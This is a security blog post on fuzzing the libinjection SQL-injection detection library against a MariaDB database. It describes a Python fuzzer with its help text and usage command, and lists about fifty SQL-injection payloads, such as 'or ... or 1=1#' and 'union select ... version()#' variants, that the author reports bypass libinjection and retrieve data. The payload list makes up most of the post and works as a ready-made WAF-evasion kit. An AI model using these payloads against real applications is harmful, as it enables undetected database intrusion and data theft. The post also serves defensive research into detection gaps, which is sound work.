libinjection: fuzz to bypass

4 min read
libinjection: fuzz to bypass

libinjection is a library that parses parameter value to SQL elements (tokens) and check if tokens combination (fingerprint) is familiar to SQL-injection attack. This library has high performance and is commonly used by WAF/NGFW solutions.

Recently, I stumbled upon a @httpsonly's talk related to libijection fuzzing (again) and decided to try same approach.
I wrote simple python script (libinjection-fuzzer) that works this way:

  • connects to MySQL database
  • executes query
  • checks for libinjection fingerprint if query was successful

This script is much more slower than similar fuzzers written in C, but works as expected with high accuracy of the results, since it checks payloads on real DB and verifies bypasses via pylibinjection library.

I deployed MariaDB v.10.1.25, created users table with several records and decided to check following queries (payload is placed instead of {payload} pattern):

select * from users where id='1{payload}'
select * from users where id=1{payload}

With following payload samples (fuzzing characters are placed instead of {fuzz} pattern):

 or {fuzz} or 1=1#
 + {fuzz} or 1=1#
 or {fuzz} union select 1,version()#
 + {fuzz} union select 1,version()#
' or {fuzz} or 1=1#
' + {fuzz} or 1=1#
' or {fuzz} union select 1,version()#
' + {fuzz} union select 1,version()#
' union select {fuzz},version()#

At first, I tried to use all ASCII characters. It took too much time, but I got couple bypasses in union-query. So characters sample was reduced to a1@#$%^&*()-_=+,./;:'"[{]}\!

As result, following payloads bypassed libinjection and successfully retrieved data from database (payloads related to same fingerprint were removed):

Fingerprint: &1o.U Payload: or 1<@. union select 1,version()#
Fingerprint: &1oUE Payload: or 1.<@ union select 1,version()#
Fingerprint: &vo.U Payload: or @<@. union select 1,version()#
Fingerprint: &voUE Payload: or !@<@ union select 1,version()#
Fingerprint: sns   Payload: or 1<@ union select 'a',version()#
Fingerprint: &(1)& Payload: or (1) or 1=1#
Fingerprint: &(v)& Payload: or (@) or 1=1#
Fingerprint: &1o&1 Payload: or 1<@ or 1=1#
Fingerprint: &1o.& Payload: or 1<@. or 1=1#
Fingerprint: &1ov& Payload: or 1%@ or 1=1#
Fingerprint: &vo&1 Payload: or @<@ or 1=1#
Fingerprint: &vo.& Payload: or @<@. or 1=1#
Fingerprint: 1o&1c Payload: + 1<@ or 1=1#
Fingerprint: 1o.&1 Payload: + 1<@. or 1=1#
Fingerprint: s(&1c Payload: or 1#'( or 1=1#
Fingerprint: s(s   Payload: or '(' or 1=1#
Fingerprint: s)s   Payload: or ')' or 1=1#
Fingerprint: s,&1c Payload: or 1#', or 1=1#
Fingerprint: s.&1c Payload: or 1#'. or 1=1#
Fingerprint: s.s   Payload: or '.' or 1=1#
Fingerprint: s1&1c Payload: or 1#'1 or 1=1#
Fingerprint: s1s   Payload: or '1' or 1=1#
Fingerprint: sc    Payload: or "#" or 1=1#
Fingerprint: sn&1c Payload: or 1#'a or 1=1#
Fingerprint: sns   Payload: or 'a' or 1=1#
Fingerprint: sv    Payload: or '@' or 1=1#
Fingerprint: sv&1c Payload: or 1#'@ or 1=1#
Fingerprint: s{&1c Payload: or 1#'{ or 1=1#
Fingerprint: s{s   Payload: or '{' or 1=1#
Fingerprint: vo&1c Payload: + @<@ or 1=1#
Fingerprint: vo.&1 Payload: + @<@. or 1=1#
Fingerprint: s&1o. Payload: ' or 1<@. union select @@version,version()#
Fingerprint: s&1oU Payload: ' or 1<@ union select @@version,version()#
Fingerprint: s&vo. Payload: ' or @<@. union select @@version,version()#
Fingerprint: s&voU Payload: ' or @<@ union select @@version,version()#
Fingerprint: so.UE Payload: ' + 1<@. union select @@version,version()#
Fingerprint: soUE1 Payload: ' + 1<@ union select 1,version()#
Fingerprint: soUEf Payload: ' + 1<@ union select version(),version()#
Fingerprint: soUEs Payload: ' + 1<@ union select 'a',version()#
Fingerprint: soUEv Payload: ' + 1<@ union select @@version,version()#
Fingerprint: so&1c Payload: ' + 1<@ or 1=1#
Fingerprint: s&1o& Payload: ' or 1<@ or 1=1#
Fingerprint: s&vo& Payload: ' or @<@ or 1=1#
Fingerprint: so&1c Payload: ' + 1<@ or 1=1#
Fingerprint: so.&1 Payload: ' + 1<@. or 1=1#
Fingerprint: sUE11 Payload: ' union select 1.$,version()#
Fingerprint: sUEsn Payload: ' union select ''a,version()#
Fingerprint: s     Payload: ' union select ""a,version()#

libinjection-check

Seems that besides fingerprints are not considered as SQL-injection patterns, there is some issue related to query tokenization (' union select ""a,version()# is considered as s fingerprint).

libinjection fuzzer

This tool logs found bypasses, valid blocked queries and rest of requests to file for future analysis. Database should be already set and have some data to verify that SQL-injection payload works.

Help

# python mysql_fuzz.py -h
usage: mysql_fuzz.py [-h] -q QUERY -p PAYLOAD -c CHARS -u USER
                     [--password PASSWORD] -d DB [-o OUT] [--log-all]

libinjection fuzzer for MySQL database

optional arguments:
  -h, --help            show this help message and exit
  -q QUERY, --query QUERY
                        Query to fuzz
  -p PAYLOAD, --payload PAYLOAD
                        Payload to use
  -c CHARS, --chars CHARS
                        Characters to fuzz
  -u USER, --user USER  Database user
  --password PASSWORD   Database user
  -d DB, --db DB        Database name
  -o OUT, --out OUT     Filename pattern (default: log)
  --log-all

Usage example

python mysql_fuzz.py -q "select * from users where id='1{}'" -p "' union select {},version()#" -c "a1@#$%^&*()-_=+,./;:'\"[{]}\\!" -u user -d test --log-all

References

Talk: Web Application Firewalls: Analysis of Detection Logic

libinjection Github page
libinjection fuzzer Github page
cpp-sql-fuzzer Github page
How to bypass libinjection in many WAF/NGWAF